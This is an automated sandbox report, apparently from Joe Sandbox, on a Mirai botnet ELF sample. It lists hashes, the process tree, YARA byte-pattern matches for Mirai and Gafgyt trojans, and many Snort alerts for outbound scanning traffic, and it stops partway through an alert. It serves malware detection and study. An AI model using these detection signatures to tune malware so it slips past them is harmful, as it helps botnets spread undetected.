Create Interactive Tour

Linux Analysis Report
kncYk2tWvH.elf

Overview

General Information

Sample name:	kncYk2tWvH.elf renamed because original name is a hash value
Original sample name:	d37eb83ee9d6340d69af2924529ff6d4.elf
Analysis ID:	1402594
MD5:	d37eb83ee9d6340d69af2924529ff6d4
SHA1:	518ab19ec3e383d4fd6caa1b316c028f515e188d
SHA256:	bfd752884cac989ea3c301b01b0faa7c5b88759db102e4f2b315dbec5d38d896
Tags:	32elfintelmirai
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Mirai

Machine Learning detection for sample

Sample tries to kill multiple processes (SIGKILL)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample tries to kill a process (SIGKILL)

Yara signature match

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1402594
Start date and time:	2024-03-04 15:04:44 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	kncYk2tWvH.elf renamed because original name is a hash value
Original Sample Name:	d37eb83ee9d6340d69af2924529ff6d4.elf
Detection:	MAL
Classification:	mal100.spre.troj.linELF@0/0@2/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: kncYk2tWvH.elf

Runtime Messages

Command:	/tmp/kncYk2tWvH.elf
PID:	5432
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	Infected By Cult
Standard Error:

Process Tree

system is lnxubuntu20

kncYk2tWvH.elf (PID: 5432, Parent: 5354, MD5: d37eb83ee9d6340d69af2924529ff6d4) Arguments: /tmp/kncYk2tWvH.elf

kncYk2tWvH.elf New Fork (PID: 5433, Parent: 5432)

kncYk2tWvH.elf New Fork (PID: 5434, Parent: 5432)

kncYk2tWvH.elf New Fork (PID: 5435, Parent: 5432)

kncYk2tWvH.elf New Fork (PID: 5436, Parent: 5435)

kncYk2tWvH.elf New Fork (PID: 5437, Parent: 5435)

kncYk2tWvH.elf New Fork (PID: 5439, Parent: 5435)

kncYk2tWvH.elf New Fork (PID: 5440, Parent: 5435)

kncYk2tWvH.elf New Fork (PID: 5441, Parent: 5435)

kncYk2tWvH.elf New Fork (PID: 5442, Parent: 5435)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
kncYk2tWvH.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
kncYk2tWvH.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xea60:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xea74:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xea88:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xea9c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeab0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeac4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xead8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeaec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb00:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb14:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb28:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb3c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb50:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb64:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb78:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb8c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeba0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xebb4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xebc8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xebdc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xebf0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
kncYk2tWvH.elf	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x5fd0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
kncYk2tWvH.elf	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xaf72:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
kncYk2tWvH.elf	Linux_Trojan_Mirai_ae9d0fa6	unknown	unknown	0x192:$a: 83 EC 04 8A 44 24 18 8B 5C 24 14 88 44 24 03 8A 44 24 10 25 FF 00
kncYk2tWvH.elf	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xdaa0:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
kncYk2tWvH.elf	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xc569:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
kncYk2tWvH.elf	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xaf42:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
Click to see the 3 entries

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Mirai_12	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
5434.1.0000000008048000.0000000008058000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5434.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xea60:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xea74:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xea88:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xea9c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeab0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeac4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xead8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeaec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb00:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb14:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb28:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb3c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb50:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb64:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb78:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb8c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeba0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xebb4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xebc8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xebdc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xebf0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5434.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x5fd0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
5434.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xaf72:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
5434.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_ae9d0fa6	unknown	unknown	0x192:$a: 83 EC 04 8A 44 24 18 8B 5C 24 14 88 44 24 03 8A 44 24 10 25 FF 00
5434.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xdaa0:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
5434.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xc569:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
5434.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xaf42:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
5441.1.0000000008048000.0000000008058000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5432.1.0000000008048000.0000000008058000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5441.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xea60:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xea74:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xea88:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xea9c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeab0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeac4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xead8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeaec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb00:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb14:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb28:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb3c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb50:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb64:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb78:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb8c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeba0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xebb4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xebc8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xebdc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xebf0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5441.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x5fd0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
5441.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xaf72:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
5441.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_ae9d0fa6	unknown	unknown	0x192:$a: 83 EC 04 8A 44 24 18 8B 5C 24 14 88 44 24 03 8A 44 24 10 25 FF 00
5441.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xdaa0:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
5441.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xc569:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
5441.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xaf42:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
5432.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xea60:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xea74:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xea88:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xea9c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeab0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeac4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xead8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeaec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb00:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb14:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb28:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb3c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb50:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb64:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb78:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb8c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeba0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xebb4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xebc8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xebdc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xebf0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5432.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x5fd0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
5432.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xaf72:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
5432.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_ae9d0fa6	unknown	unknown	0x192:$a: 83 EC 04 8A 44 24 18 8B 5C 24 14 88 44 24 03 8A 44 24 10 25 FF 00
5432.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xdaa0:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
5432.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xc569:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
5432.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xaf42:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
Click to see the 19 entries

Snort Signatures

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.64.224.70

Timestamp:	03/04/24-15:07:06.825334
SID:	2839471
Source Port:	41772
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.61.17.154

Timestamp:	03/04/24-15:06:22.911129
SID:	2839471
Source Port:	36042
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.159.120.172

Timestamp:	03/04/24-15:06:45.331432
SID:	2839471
Source Port:	42554
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.110.173.162

Timestamp:	03/04/24-15:08:44.942821
SID:	2839471
Source Port:	40872
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.101.81.28

Timestamp:	03/04/24-15:06:33.029234
SID:	2839471
Source Port:	41160
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.198.182.236

Timestamp:	03/04/24-15:08:52.740154
SID:	2839471
Source Port:	38872
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.101.246.219

Timestamp:	03/04/24-15:07:18.518924
SID:	2839471
Source Port:	49950
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.207.19.123

Timestamp:	03/04/24-15:06:30.905745
SID:	2839471
Source Port:	53792
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.46.228.48

Timestamp:	03/04/24-15:06:31.464934
SID:	2839471
Source Port:	47654
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.56.17.126

Timestamp:	03/04/24-15:07:22.240049
SID:	2839471
Source Port:	45756
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.56.22.46

Timestamp:	03/04/24-15:06:22.988903
SID:	2839471
Source Port:	55184
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.119.172.105

Timestamp:	03/04/24-15:05:51.858022
SID:	2839471
Source Port:	55768
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.217.158.208

Timestamp:	03/04/24-15:07:43.653317
SID:	2839471
Source Port:	34062
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.28.240.200

Timestamp:	03/04/24-15:08:09.588493
SID:	2839471
Source Port:	51392
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.167.108.6

Timestamp:	03/04/24-15:06:03.726286
SID:	2839471
Source Port:	35128
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.202.99.186

Timestamp:	03/04/24-15:07:40.282241
SID:	2839471
Source Port:	40316
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.198.106.121

Timestamp:	03/04/24-15:07:24.825679
SID:	2839471
Source Port:	52598
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.127.52.24

Timestamp:	03/04/24-15:07:27.954557
SID:	2839471
Source Port:	45182
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.215.22.216

Timestamp:	03/04/24-15:08:09.566857
SID:	2839471
Source Port:	36108
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.142.206.68

Timestamp:	03/04/24-15:08:26.605480
SID:	2839471
Source Port:	59854
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.100.57.28

Timestamp:	03/04/24-15:08:27.629070
SID:	2839471
Source Port:	56278
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.149.138.185

Timestamp:	03/04/24-15:07:13.735041
SID:	2839471
Source Port:	52534
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.198.128.59

Timestamp:	03/04/24-15:07:57.524416
SID:	2839471
Source Port:	47310
